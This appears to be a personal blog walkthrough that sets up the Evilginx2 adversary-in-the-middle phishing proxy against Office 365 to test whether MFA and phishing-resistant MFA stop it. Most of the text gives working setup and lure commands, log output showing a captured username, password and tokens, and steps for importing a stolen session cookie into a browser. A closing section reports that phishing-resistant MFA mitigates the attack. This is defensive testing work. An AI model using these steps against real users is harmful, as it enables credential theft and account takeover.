EvilNginx X Phishing Resistant MFA
How to enable phishing resistant mfa, and example of why it works
Context
In the cyber security world its a constant battle against mitigating the ever changing new attacks that submerge every day. This attack, a common AITM
Links:
How to set up Evilginx to phish Office 365 credentials - JanBakker.tech
evilginx2/phishlets/o365.yaml at master · BakkerJan/evilginx2 · GitHub
Installment
1
2
3
4
5
apt update && apt upgrade -y
apt install golang-go
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
go build
Make sure wan ports 80 and 443 are pointed towards your server, i tried behind nginx reverse proxy with no luck. This will result in certificate errors.
Start evilginx:
1
.\evilginx2
Correct errors like wan ip, domain name etc. preferebly with config or help command
1
2
3
lures create <phishlet>
lures edit <LureNumber> redirect_url https://portal.office.com
lures get-url <LureNumber>
start phislet:
1
phishlets enable <phislet>
make sure to see output: ‘[inf] successfully set up all TLS certificates’
If there is an error here run:
1
phishlets get-hosts <phishlet>
And look at your dns records (like cloudflare) they need to be pointed at your evilginx box (wan ip) and NOT be proxied (i havent figured out how to solve dns challange for cloudflare)
when your test user clicks the link it will look like this:
1
2
3
4
5
6
7
8
9
[14:29:53] [imp] [0] [o365] new visitor has arrived: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0 <WANIP>
[14:29:53] [inf] [0] [o365] landing URL: <URL>
[14:30:29] [+++] [0] Username: <Username>
[14:30:29] [+++] [0] Username: <Username>
[14:30:29] [+++] [0] Password: <PasswordHash>
[14:30:32] [+++] [0] all authorization tokens intercepted!
[14:30:32] [imp] [0] redirecting to URL: https://portal.office.com (1)
[14:30:32] [imp] [0] dynamic redirect to URL: https://portal.office.com
[14:30:32] [imp] [0] dynamic redirect to URL: https://portal.office.com
See sessions:
1
sessions
Select session:
1
sessions <session id>
Copy json text (NOT [ cookies ] )
go to firefox (in my case) install cookie-Editor go to portal.office.com Click ‘Import’ (lower left corner) -> paste json -> import -> refresh site
Tadaa you hacked yourself
Defend 1 - mfa?
Navigate to:
- intune.microsoft.com / Devices / Conditional access 1.1. Multifactor authentication for all users created by Microsoft
Conclusion: No effect at all
Defend 2 - auth strenght - phishing resistant mfa
Example with Windows Hello For Business: WHfB
Example with certificate based authentication: Certificate based authentication
My test proves that AItM attacks could be mitigated or at least more difficult with phishing resistant MFA.